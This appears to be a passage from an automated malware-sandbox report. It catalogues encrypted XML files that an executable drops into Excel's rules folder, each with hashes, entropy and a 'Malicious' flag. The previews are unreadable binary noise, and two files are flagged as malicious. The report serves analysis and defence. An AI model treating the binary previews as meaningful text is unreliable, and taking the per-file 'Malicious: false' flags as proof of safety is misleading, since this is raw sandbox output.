Preview:	<?xml.\.LkUXX.../;^S..#.o.`-!....2...&.~..U.7I...8/?'.@....+.e!.cA.^..+..v.}.a...-.v`.....a[(l.`.NN. f.o..qp+.\.....2k...8.u5S...8d\|.r.}M.E)..i5..j....=....9L.T..z.....N^.K..:...9.HT..$...+.U.t..A.S..M.k.1ZmY.R;.........G.....}...)E..e.jj'=.<.r.3&.....\~..S....(.s..g.T...M..B.Kj.e....b&.ok.DWo...._.m;.B.]95a...xc9......2..O Y.`.M..............G.d.#.!.lE...LS...4.H..(.....6C...u..H:.I13..}....RE+.Sv.+.B@dVin..9.S..M.}%...;..@..GK..A...........V..X3^...b.i..m~......./A.....pr.aT.....`...........aM....-.jY......@....]..T(.t.k~.c7.v...r..n....]..f..V.z0wT....Z..M.9.\...2.\.J...>\=....Q.&$...<.4).Lg..k.T3..rgP...P.,(N8n[.<d...\..tE.b......[..G......&.....zm..<W...m>e.Q...kj....r4.<.T...PW.`..P.....Km...3.x.3.<#B.-..vm...4.;..3.....{.H?u.3.?[@o..`.W..=.. hS.-e:^....e.g...).l..s.q'\|..K.J.3.mLj.d-..\...F.i(....i.R.Vh.f....H.RvM.w.:.a......l....-..s)..........W....*...~.q.F..\|...(..F.e...+4m.....s...]...[^4....H...l..Ff..gE.f...qf3i.gs..h.....2...C

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370007v3.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3678
Entropy (8bit):	7.947617867730696
Encrypted:	false
SSDEEP:	96:HAyZxaLTEaxTekW8u0ABR6fyR46/hyYegSaHHVkYFvEdWBDT:g2akQlpABRP46hyYhSiT1
MD5:	F68DE928ED630AE46E91845FA45A6B98
SHA1:	653737E7F899D9BB2C1C99F37B1307009E062C60
SHA-256:	7438039B54706E779CAA2C11729D85376A2E401022294C8ECD9736C620CC3F1A
SHA-512:	C613E1AFB195709CAD7FA41BADAE19E72E8E6B94EEEDC2B8D073D8F5F7EE6056A5405B8BF2067EBCEEB92D26D83B88DEA5A5A2130914D3E22F4CE521C60ABF4C
Malicious:	false
Preview:	<?xml.....f=w.)aV.....>.NR.R..3.3..+..0.Bu...?...R...v.&.6..`bSq...Us.Q..T".....&7...00T..+.T...]...s...++U.... ..+8m....2..Z........g..3b.}V../.....o....&g...#..W!..!.m.7.r.d....)".M7....].Q.5..o........1b.I9.n...s....k.\|]I..jm.=P.o.?.......H........$".h.f.......].X,..je..........w..f@"......[.s.%...Dd.c.]0.g..)U.oS.........hp..X2...._....Q..u...4h.r....!..7....v./.D.&...j+z..gX.o..Y.4c..K...R....$G...?.L..q....z..HD....d..M>...7...@[t.....!...i[....\|.~;........?....[.JD.........~....=..4.j.O..-v(.1...UUpS.3,d.c<&.-u......\Q.9.&..V...-...........M.O.."A6.....(-.-WM....r.?l...%.......r=.5....{.Rzb9.p\...g9.&i2.{1.g.k.X.V......\l.d.@...0..<.0.G....=.#.2...@...yz1..?..YU..2N...`/...S\|:.......Z.n..D..........9....T.I....D,g3.......(..r.....{.X.RJ...td...P....Jz....AK.2".\|'1.l..V.#..p.18. ....h..[!.L.gX....Y.h.Q....}1...<.S.4A...}..?..B.P...e.......w.. lS..P.........k.p.....i.<Y..F....T[z..b~IK*.....1..P..6B...N....m8.F.j_ziH.%Z4.Z./2

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370009v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	7.75545449004796
Encrypted:	false
SSDEEP:	24:IfyvJ5Ft+KD59DgEjgWH4Yw+4x0moQoUzybD:PfFt++IEjgWYDHm4oUzgD
MD5:	334EBD70BDDBBD66A53C29CF18132418
SHA1:	2E5F3D0F2441296880F8D46CAABDA3FEE95FFD81
SHA-256:	ECB63035D943AC67580C1A1163612DB9D5DB33FFCBC02494425AA182D428BA7A
SHA-512:	B387D2887C9CD55026B627A3EBF9972B43143C808C8A212044DF6D3FDD4D1C04822B7E00DEADBF07925719B7256228C22973EDCCBB9B2F50C86BF2CFB932DB3E
Malicious:	false
Preview:	<?xmlu.Z....6.{.`.9.Y....R.&dv.$c....(...q.Jl...J+..<)#@.>RQp.Vo.W....7.-.y'....n0#..-#.>...v4.cSb..t.l!L..0.s}....%za...6....W....B.w3K..5j.......VA.@.j].....:..Y..@..0..9.......V"...2Of..CC.2#KH.$...q..=Ok.=U.M..=.]e.zt33./..@.F..e.T.x..xu...@`.GY....M.{x2.@.-..Q.=...B...y3.p..TJ.)\.je..(<.........[A\|..v.#>1.Z...{U....G....hgC..P.M..n..bjK.....I..d...Qx<..(.n@.olQ.;&.u........{.1j.........`..w.rB.Q@.c=.\|\a_..\..-&2......,....7.F...s........HV...].}.Hu..Mf.......e..2....`..gM... \|......'..;4..H....4...j...90,....H..9.d."......?6......g> ..,.9...S.;e..nF.h'.F.UO..@..u.<.g.`N.7....-....bq.r..R..8.A.t...)4I.......'g%1....a...<.l....x]U..q.d4~...h.n.[*v..-. .$>.....)..7.a...+..G...t......I..........r...o...o.;m...#...\|...A.k&..f.....Q2v....BN.s.dO..."..B.....T8...w.n.y.V.e..y@..X.. o,...\.O.A.Q".3f..!.>[.....o.P#@..{+....u....m%LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370011v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1191
Entropy (8bit):	7.826682829787443
Encrypted:	false
SSDEEP:	24:dhaQRlAY8KUkZR+DMVso5H4kTOULsZeFpj8e9fwO8LBo9rxrbD:dhaQRvR+YzTOULs0weJwOIotRD
MD5:	96C42720B24AB1A0703BC2D3AA94BFB8
SHA1:	A96BEFCB764DD8FE36A033CD5CC9F33338BED77C
SHA-256:	7658E385B8E598718D42E4DFFE1A9F15CF0F0E8F31E0C4894C3EFD70231D0260
SHA-512:	DCC57D46D0B5CA67EC31E5DA06FA5ACD233AAF3CEE779EC8CBE858F9EF251BFF055A08A97603DD085CD03D3D787F73EF5A96BB88323A58D56108EF1B2529323E
Malicious:	false
Preview:	<?xmlr.WD4E.....,.ooB...;...........`.!NO.S$R;J.5....T....o...r...:C.{..._.V.....p..}.E.....V?......a.Y....D.+3.2@....:..6.P6=R..".F....K.1..OA).<...{...@.}k.....0l=;D9...Iy..X.).....YS..iF}.[.....;..#0r.F..3...ddW.q>.;...........7<..6.x....B......(./...u.)..}o.#k....W...q.\|.#.K..\|z..V.. ....ceLT.u..7....-^....g...H....I.4...H.j...%=.....;....w...1.w.t...%.z.ql...)....4..-..1.>..v..2....w.......#.kr.....,x......K.k`.....J...{h#...FT.l'L#....U_.F.-......j..:.X........ uQ.r.....e3.}...?..7..biY..\_,..u......{.e.?5...8..G..j.C~.~.....!....rkQS.1..\..\#.7'...f...!...........W..p6E.g~....S.\G.%..;#...".u,.....G..@>.y.....,...y7u".t.X...)..J.H-..'....E'.<.O.......{.S...`n..0UR.>.g9....u..5..!.Y..&.....t.6ZL.Z....lj.&...........j...g~.r.t^!S..r.>x[L3.b.....\|G?.7..,%....%z.EY.=.4..I.....%o(..[G....Y.x9...>.....}\...;.g...*.W.l?........mMe..uT....'....Z.9.c..I.Udz..YA#...bf....../..".....u......q./..G>../GH.%n.v.{..O.O.q0rxK.....w.fqiQ...1

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370012v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	732
Entropy (8bit):	7.657551553494008
Encrypted:	false
SSDEEP:	12:GZ11OlFezZwT8uJqsMboH0IqSpEnVdBMVUJ5w7GpSKtyDwguCp4ZqS2cii9a:GtcQ3fbBMmvFlAbD
MD5:	856F29BABA2244FE14DD84D1E3E9B30E
SHA1:	2AACECE9DE780EE4DDB3083AA22CE5CA3600CBA1
SHA-256:	E6F96DA2279098846EA979509D472B6E6C4E352CBE0AB138A93F83848A649EAD
SHA-512:	A0788CF0A5C7086FE6BCC7512A35111985CFE29FA300C91B00057F034FC3247B7694D7B20572EED6A39CD293988102F6EB6BF7F371902BF050D1E5A228906D4A
Malicious:	false
Preview:	<?xml.V...u..)......c...m..D5.......e.4=.......:.......t.?...q....lZ{....>....5v..x.P.0.N.:...."@{.Z.B...J}...ZF{.......8.6.....r..'g...#D.h..N.CzC...r.W.N%....t.\|.@Y.F.x..8.J{.az-......G..rq.n....V..j..<..u+.../t.c.].q.....6...`....Czb.M<.L.-H........9a..A...6..[.v.....7I.]...\.X=S.E.I....'.........@.......8.1..1G......9!........2......9....:.8.\..f.4..?)z..C....n...\|...4.Q.E.m...{.V.%A....<.k.m..+.T....n..?r...8.t..0....-.4.<.i,.C...M..}JXs.3...)6f.r...Cuj5j...$n....".{.f.c..G#D.?..].R...."+.....c.(.=D.SNC..C..+......B.l.j.....8....L..i....I... ..Bi^.8...E.O]..w.)g.....O...Y\|!9...,._HXP%.}....E_.4u .e...p.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule390004v3.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3616
Entropy (8bit):	7.950736546053002
Encrypted:	false
SSDEEP:	96:U7iW+utQU+nGJQtCgkkuKOTnIJqXGZgKuLXGnTVk9:nW+IGm/gkkuUJqXibYGnG9
MD5:	FE686F71E316658C0A89929CA96351B2
SHA1:	AD0299D3768B855CD46F66369A9F8CC4B10DB9EC
SHA-256:	C8E80F15AA9825082D66FBEBF6E2C46BECA4A8F89620926418AE09E582B726FC
SHA-512:	6A187E72326E2382D162B99DC2B0134D6227E5253FC4589458C524A374F57E9033639080674EDF242C1C9222D6AE618D9FF73F18FA1016771F4A31E3C5E5FF19
Malicious:	false
Preview:	<?xml..z.....(p......g0z~......:..Br.Gg[;....[{h~..>)E3...f#(.P=.L.6.U.&........ND...Gu....7.....[..../v....LM......P......'%l.d...s..\|.m?.^...)..zN:.h....S..Y.#NX...^.D.H.~......v(...........vn.=.\|=gq..3.`.ov.v.y.:y...E...#.j.........}T\......]...\|.M....pz....6,.../l...oK......%.2w.}.E.T!.Q.4.+..M.c..D._g....\|m.....$.P.#.o.... /}HL......F.....,...}E......'R. .....I....5mO..I`....<K.h..^.X...z.H.1d.^.y..`n......K=[i.Vq...3.Q....."^.aE....9w.CP.;... .u...M...;Q....P.......(...`...c.P.#{.Z......W.O.jA...".#.].I..Tg.;v.@pA...z...m.....D.u.Hz....U o~..p.O...+..p3..y...#.0..3u.>R.....?.A..xAU&...JV.<.....W.\Q2Q..i.V,....Z$]?.&W.u....,N..x..:X....[,S[if4#.wVb}[..b..%....N...v.Vs...l..&..3....#.J.*.I.=Lm:....ChD.9...0i.Hl....Y..fM..s.(r.mz"....F.J......dI....Sa..4k<.....N..a[.u.YW0J....&. 9. 3%z..zL...t./<....M.S....[.C..j\|..Y.6...........).......u.....PiAw..S...d...F..$._xz.........v.l.b....}0...5V....f.\|z/..!.WM1T{XQ.D.u..r....VW.EP...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule390005v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	783
Entropy (8bit):	7.708956520239461
Encrypted:	false
SSDEEP:	24:Xw0TApQ1mNlK14IcmtWQDV4eQneM7EIAG90bD:XBqHNlK1dcSW1eMRAEeD
MD5:	E1699ED5D5D097C6A884F61F49B92BA6
SHA1:	C390FF098FB6F611A317D2A203B992E50D2086BC
SHA-256:	7CB9D2BB85171E30EA60FDA79566A08A856192D55F3BFC088CEB44BB96302BBE
SHA-512:	42F2C0D9E02EEC726A6598A7F23D1E2A480370FAB8F3EE3573F106F820198988602C39E52F564530BB841E8DCF22B4A3DA46070024D03992FB9C9EF1C834151C
Malicious:	false
Preview:	<?xml..p...4.uK..z..8.....W./1...c.!.....J'.(...u6=..9.hM....is..n..@j.[..x..ifd..@j./{...tb.H...r......&d....f(..uW.$6..]....,{...y.gI...U....:....7...G.....x.6.}.G).. ?..u#/.pUX..wbM.:.X\|.....r...}..,5.P....!.Og...u.I.H`....r4......c.V.3...H..i.q......:.t..+;......_....P...B!.5..\|...,.9...L.t...>.E.!.....G..4g..C....V.$i.Z..&5U.....\.u..!DC....P.=..j....6..H).6...%!..."....5.8F.G.Q.5..1...T......XsH2..>D........dp..E...s..pWX'>...R.=.9.x.7.i2.....\|K.t..0..d....T.^.'q.fU,..0.cmE.....\|.z..,...Q....Z...NL..../R..ss.'..4t..~./k..@.n...5..M..U......#......F~jz.wR..j..=..@.k&i.Z...e..]..ka..._.K.E.`e=....1fw.\........]..a..^.d.0. Z...O_$G8>.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440000v3.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2331
Entropy (8bit):	7.9196529430027445
Encrypted:	false
SSDEEP:	48:Q/ZBIhNY8YfsgJx3PqmCS2A72K+d7+hJAkd3cWelEz0jzNiOqD:Q/ZO3YUU12k+d6hykavlE/Oi
MD5:	A72FAD33BD5CCBB0DD7A83BDE1420DC7
SHA1:	DBAEA68673F9E810C8572DE2A6C5C2D573A2EE7B
SHA-256:	87AB717B1B783E7C35BEC76AF2EB3191A0A941DE68B27888AD2673780D7DAF45
SHA-512:	8846D978521C9F67C466C5D700419FF85802CAB846E02CE639DE7E92C6715D1C6D7D947BB3D27DB018D0762788F4C895A2B567E81A14B3D347C133E331AD4014
Malicious:	false
Preview:	<?xml..W.l'.c...b.....g....l.l.!.....Vu...}.b.JZ......(+W.WZ.:.V.24.i.&.A....V...N.#...?...B.P...I..M$L..+J.W..D...l.qn.N4K..{{h.#..As..........6..U.O..9.....6..5.2.....!..R.B...\|e\|."....#..nk....-...G........p....Ne...+QhI.d.. .+..n.d.%....V\|f>.....]r....G..Z..,....J.C.RG@jz..,....U....t....!....C.Y.!b..z.A...L...>.~...6...oGA..W<..X...3....}.....[Nsc.L6.....[~...O....Ky.r#...p5..E8..>"].{.E.....$,.l%9p.w...k.h._.$..(.?m...........tb.C.....Cvq.W..V.'].....?..`lY:).".kr......bi$..u.B.m.%..x.:C..<...Q....`...k!.0...x..r.K&K-+"...i....@.-..B.j.%..F..Vjku.....nU.....^...?..^.4.P..+....]..N..i.>...H.../:......U...].T?.....>....g.....$r..z......M..3....+....G.....q...k.`FX.v?..?>X.nF7S...J..K..9..O.m..~.-.w]..\X...p.hT3.B...ME.Jl.....J..~..5'Y`z0qZ./.'.I@...u.]81..rV3...aiS...a...V.}.....T.\m.....q1;.g..1.Y...7.l...z......%....b.f[.3........m;......h.W.....x.G........j&/....f=.{.-..".1k..X....}...y.e..G"@j.B.N.....X1.Gk.U+s.%.y.R.]o

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440002v9.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	44492
Entropy (8bit):	7.996104793696608
Encrypted:	true
SSDEEP:	768:y5u70elCUHvrcoosAKQiJtl6lAN1wn0n5R9lSBSfYb5JfWB9mrVqvAVxEVqWsME:sgCULr2iJmlAN1Hbwx+bmr+CxeHE
MD5:	C5617F99B364179D470073E1EFCCB241
SHA1:	B9E753FA1D3B5583D71997B6D5134C55314869B1
SHA-256:	BA847743E1EB54A4B8B51E48BAB9A0D601C7EE800939A7FD78B9BC00DF651261
SHA-512:	84A2C6E497DC2DF9783C30F863717A2BC26CE6EDD52E7F47C31184F6B29DA817A1BF3AF08F794662D53ED790C3DA11F5605165B0AE85DE4E6A7440BCC7FB16DF
Malicious:	true
Preview:	<?xml<..B.+..d.l.b.1X..Cum..Y.yNbGe......+E...Z.K...~...H..=f..\..b...i..dy...6....U'!.^SB...<..V`1h=.#..."w......_..J.x..y..[.Ok}.uM.ZB.:".C/uBF.j...EM@..). ..).f.w...%...;.n.`<...:.X%....t..E.&...G?.-{...#.%...l.....Y....c.O......_.a..+.zW\|.?eQ.....F\|.f............7.z...9.....0.5I:.=Y..N&....z.rSL...3..V..o?..-.V....}=v.......%%.lN..8kG...\.6..}[j."y(.=.[.9pieI......nr..s%.Q.....5.3....<S.g8.u...o}%/F...v..........w......EG....jk..D....2....H9@..@.q.h..-.T..f.... ......6$.._.oW.{..'..~1.......]....?Q.].k.>[...'.S..0G.[$X..G.....{..(..R.G.7.p......Y..T.y......^.Z..G...h.j_.....NN.s..3..,=...^.qq.Gs.g7..5n...n.y..n3...>.....a..!...L.hv..s...Yk..z.G:.EoKj2....Z6.[....&.g..A.hY..[b.....P.(.{......2L..c...x@. ...........t..;.5S...z...(U..d$ .;&...GgX0..."..QX...^.uy.F.+.?.o.}.`M.V.^9#._....wl1..O.Gv...R...\|.cT5"......]hVc....uKN........$....:@.#.\...qB.....t.......w?..a....N........O.Y.2..Zr.%Y...1<...6.R0u3....\j...v.@..4..q......7-X.I.R.3.!.b

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440004v3.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2338
Entropy (8bit):	7.9147137308085975
Encrypted:	false
SSDEEP:	48:si5aytHmlXS77F6qfe71OtNSTeNc/1Q1QPoAxwudKt1mwFD:si1tHaS7ttcez4ut1m0
MD5:	2C0B2798DFC3C55810BD662EA01667EE
SHA1:	054A41BE6004D127CE1D1B8E8D9972331A50F10E
SHA-256:	2B1683C2DE901823A654E3E59F402672333F6DCC18BEE75050CDDBE8775CBDD3
SHA-512:	7C1E77C083D1EBA09347E59C305A7F7FCB61C1D1BDD3BAFE2C229A2D0609E9B2D999B73702930729E5BE9003CFB78914DDBE1B05D55A8F7E84D550A48A8196F0
Malicious:	false
Preview:	<?xml.c..a..#..^.../.....Z:..y...H].._.T.Q...gi%xZ.. ..r..rLL.k\K.f.....:Z...s...zN..,8....=,.......ET.P.)......._+...4.y.(...d.Y.$...E.....U.h..f.......e0....E/.SPo..:..pC4.2J.n..........V.F.b/... ..J...>+.\|.?)...._..n.k.R..V_..Z..Ai...r.i.&D...\|..6.........Sus....;.tJmE...;.\.I.U:2S+......(j...Du.....u .H.-.B..K..-.....=.]S.C{.V..~..U.{b"[.nd].......;.......F5..$..._l..p..65M.0...Au..K~.n~A...d....]%.............&q...S.2.':i.R[:.7!9..;....`...5=.jIx^......K9....\|.......m...RUb......JC.g65x\@...0U..o...(.X..=j"..h.....Z...+P..>J.L........n..{..k.?...-.sFy..^'..>.RW...2...To.-.......[>...........,7=........T.........&,F!..e.w...Vg.n.A&...F..u./...5k...'..Q..\.L..g....w+..wt....G.Np.!.....+.q.9m~.8......Iex...b.....T.pu......u..y.H.Z......&K.....{...gI.........&.T.$Q.#m.....HB..!...%...P..fo.0".o<.:.m.%2c.....m..!f.&~9.~b.......D5eL..W...l2.G.T.UdQ.+e\.L..P...Y.2..s..&c....}.*..E.n>..,\|t4....Oc....r.....v.].^.A.....60L@.[D.v

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440005v3.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2320
Entropy (8bit):	7.920504390433341
Encrypted:	false
SSDEEP:	48:iS4wF39YrgU+7QsabXtQBSQ1sfktR2zw438OwVD:gicaZsflzw0wt
MD5:	5DACDB628E96FC89D793B12EE9A71EF3
SHA1:	422BF62D6A280CAB107A4537644F593B7502729E
SHA-256:	EF0395447B42A1D53A9AF0D0A14109004D0D04BA63B7B64905D4A96EFE891627
SHA-512:	EC79ABE2A5E04CE750AD4D640904C5BBEB4A6A78B9528BDD7293ACFAC4845F0B3A9E759F51EE1CD3845D8EBA0CA33CEE845D4C799EECD6BEAFEF7C4C1912EA59
Malicious:	false
Preview:	<?xml...9.~l......xI].....{.......m\....?.N.M......\|..+....cQS+.+SA"F..6.!M...]./..v.5...gO.2.3.... .LKM.Q.^.tq.jo..GL.f8..=...<.d..=Ddnj"GTL...'I..V...)o\6(}...k.%.e..K.Q.......fai.=.W.,G..f.&^'..(../[VuL...V.....2....Yw..u\|..W6....\|"..?/9S..}....t.....}`...M....>L..8y.usI.^.4....kA?nK....Dx.w..C...M'J.......1"(..)>(.R....QF.........\|l....H.......A.... .....t9(u.,..c)x..wt....;.nB.t.@...VtDWX..[..C![.D.$...{....M~{.{...u...........Q.../;yqpGA.9..M..^..:;``.:.),4..2..../6..RN6..Zut"=.2I.t...'M........._%..(..VP...=.F.......>}..]V.=8N..r..FR}.N..BS.eQl.}.z.s.b..eMU\.W..s..rY^....=Lu..>...}:me../y(%H&...2..p.k..g..........).'..(.(..Txl.k.G.g.rpc..CV..t.]d.......... ._&..?8{.~"...F*...]b..)....s...x...lD.v..D.Z.f....7.....%.=.UQ...O#]./.....`E.....UK.@.0f.....z...9q...bCU.0.U.L4p.-..eI....d.@J.v...q......z."..GiWe.- ..K.!<.(.....-..:.Hj..!._.1..Q0..Re6.%....@.........N..L...,D..q.....Q1..........(f.H...bC.\|..........:..pi.`.<.....\|..OeZT.$.D.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440007v3.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	41208
Entropy (8bit):	7.995800319486829
Encrypted:	true
SSDEEP:	768:LlR2qalhA04jiOGbdQGqezfM1NUkBc6h1kwgTAFZcWS2Z1AwM2mQ:uNgjjiVQG/qDGDTmtAL4
MD5:	783C0B74992273182AA304BBF245C17E
SHA1:	A9C2F4B9667EE0815F1A3B765CD237B79D83FD17
SHA-256:	FCC7F51B3DDE4727A7FEE470E82BA83434C705AD1ACEDD837287F4F948F46135
SHA-512:	E879AAF13E182674740FAC14D3CC58906EACF36F08E627AC5255FCC283C556FF8B0C187FF7B8A700055616EA02F2D6DEA19DA73F833DCE5C718C100E59D61688
Malicious:	true
Preview:	<?xmlw..z.1.gUkg...>...\Q.9\|.;.0Z3.Y.\....=..uJ.{5Y.._.!.qo~.9..$I.s+...>........._5@.#/..U..Bb.+.c..1.>...rvm4}`...v...b...!.1.d.#u]8..%.6...s...m..Xr.,.Lc.#..D._.C.?.GO..%........}.XS?.59.zu._ST..G.jMy...#...~eM......]........=J..VK......K..9........}.D.!=h9..dY:.E....p.s.Z?<.:-.+....'..G...xZK.........V.........`.,..I...CJ......z.\|YT#...]..&.n.W.S.4..._....a.N.X-....^e{.=.......X{.)Y]n..l_..>f...k.#..x#.....2\|.yM...b..G....!.J....)....o9..d..63.tw.B...c.t...X.......k..e.;y......=.. ..h5Q...3.7.....s.M..}k..v.{.J........2.."...+..7.$....)...9.4m....R.+..Mj...N.....@!..P!6y......;.+....'(...M..\...k).v..%..@-s.o.Z.fp..X..P.X4\.GZ-.E.5...j...3..."..S.W?....k<....{.`.....v.BE..H....,H.d...5.7....R.."...m...._`.Z.....klj0j..}d...xf.2...=d.k...x..y{F ...Z...2.x.P..b.W.....I$.[J.I.l..&...T.....\....w-u..'M'.S..~f.y..)....r.".......1....`~N.{.....(@i...J....D4...P...::..H.;Rt:..zge.......FS..("\..8d9.<..h.z..A}..mD.B....dp...#u

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule460008v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	785
Entropy (8bit):	7.6982923060769375
Encrypted:	false
SSDEEP:	12:l8TIGE3r8f9Swx456R2Ac6AFHv6qFoJwf/wnlTzKkOywlE6RxrF86eWS2cii9a:8KriC50c6Yv6Ooq/olnTOyuE6LRYWbD
MD5:	41CD1DB4E00C1E1CC929A5FF54855419
SHA1:	A4A4DD28FCAE89DC926DCB8A21A8BD443E81C5FD
SHA-256:	7C416DB0B2E999964EB04C50148B5C97FE355E3B8E4C2E9358F5A4985CE0200E
SHA-512:	CB76D66B6FC93803975B4C9CE2503AE1420758ACFC007F9A4E7916E921C6DF082C4491366550A3B4EB2CFC5C36AEB4FC07A7203C0861158E88E1828D8D399F08
Malicious:	false
Preview:	<?xml.$J..?...x.UL.....KF,... ..\.....O.....=..V3q..u.mV.Um.9.b. .9..m.?...uT%...AC_.s....J.+>...N..i.P_..0..w(v..zNs.....g.-.... j.G.3I.OJ2..W,d......^C..}...)..u..?.l .A...-....j.._g... V...p..T.i{8...`).d2~........m!..0X%()K$.OlB.~.`....9..t3..euy......x..6....+k.E..k..D.y:.e~....@.....%..."...#Y......./....x.......W.r.9......U.x..g.T.....g..6.....%~f..NX..q.I Ir.q.W.K.U.O..j-vRY.1....t.."#B....q...H..i.6N...jm-.g...2.u.h(n.g..i,...VU.-.5..n.9...Q.n.....[...Z...:2..0../.)0..,....t.....g..N.......Rm ..?...`....B@..TaWmu..=.P......'..:.V:.D\|9.6....1."5...Ud..Q)....@...@..M.......a.%...(f.'.. .D3.).z.H.5@....(+v. '%.*5 8...g 2.s..5....]..f.x....K..$B...S.....3E@LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule460009v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.67105432281592
Encrypted:	false
SSDEEP:	12:OcQp4BRmzdmAYDvYLhphmAhidLlY1uNIwFGVx15mrzTIgEEtNPfCOYGS2cii9a:OVpoRT1Whm95yCmzSEENCObD
MD5:	67D179C4D4AEC2B825002B5C160DB0EB
SHA1:	6210507953F9AEE8E0877F5274767A4DDEDD0E52
SHA-256:	F857D71D9D4F7D6A80F470F8F44275724376F01573A3C20C2C20D8871B509212
SHA-512:	4FBE1A7DA75C1DF8E9BAFCF04C23C7671842CAEAC8055EA51557E1EA55BBD2DC55E4DA88C3BD9CF03BDFFE989FDC2B53AC023D4485CC6642E61BD921E634B05F
Malicious:	false
Preview:	<?xmlfXU....Yw._.......J$..N..lc./.....3.`}..(.{.>..XC....oY...J......(l0X l/.c.l..."#..FW..?....).-...qL...$.#.1+.E..%/.&...k..M\|Wq.:Y.>...Hvp&...s.h.1....,..].^...h.p.fA.../..2.e..o.e..lAO./.......t...J....^-v\|]2..n...\o.n0.L...E....e.bO.A{\M..BJp\..@pEm}A..?...dJ9......z.V....>v...E........7q.h.)1.!+.;...$.U.D.w3.-Z..k......@.e.y....;v...2\.~..\=.f.Y....q_...c...CI......d.f..B...5........h...q......>.e.vn...(..Mc..;u.)....`..<L.E...*..D.....J..R...W.ca.)...e7&..W...S....A..... "t3a.p-.....>..J..U.L...W.KY..Y..........ej....2....f....HeHx....0..X.....,...d...t.v..ND.E.;..>%.z....._...>F..j......Z...HH...d<.[{.W.?.S.\+...ir...m.P...LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490002v13.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1428
Entropy (8bit):	7.853375267732788
Encrypted:	false
SSDEEP:	24:A6Qq7A+LqLqCmPdpRHiIxGG91G3LxOq1MgbZo7qJqttuIeTHl22+mROq1EJbD:A6QGAfq7bRHiI7C8qquZiq8zuISl22+f
MD5:	F6101496AD29A1F55D42951FF311E3AC
SHA1:	4449F2F9575FC49B53604AA3A99C158FEECDAFD9
SHA-256:	CC8AA82243FCC1E39C8441EBF072A43E6598E4DCC4322E54D31CDECF435E745D
SHA-512:	1C2E764C22B3EB54E4EF5AB19E3D6EC255785033046DF14B111C8C66E2841A6CF21FAC37B808EDA13177BDA9231517E2531B58C7F3D0344C4AB443ABCAA66077
Malicious:	false
Preview:	<?xml=C....e....V...._6.g..s5.k..)K...y.{~.i.3../!...eQF...,.e._.Y...f..=}.v...F...^H....V.....4.F..f!...#[I......s.\|......7\....PzC.y...3/.J.f+..y.............n$.`...}H..bn..:....Rn.V..._..&....]b...SAt$d.5y..c.R&....h....m....F&B..qKH..V.............../,....k.LG.L.d...B...,.Y.^y..+'<Q...e!=.a.........8..p.X.d...<...Zkxc.3.d=..H...K.Z.&..^^.=.....w..M.e_a8......5...5...Z.E.B..D.B.o2..z"...B.0.!3..$2.K9<........u..ya&V....i8s.J...\|.'..B...`.pa9>....'.2TX.qJh&...b...j......P.Y....8$.....o>=Hix.Q...).m ...U4....Txr..N...MW%.Ze.)....s.........{.>.OX....3..#A'%&w#.4t..4x.0..y.%".....y..~.u........!....x.$.....@.z.. 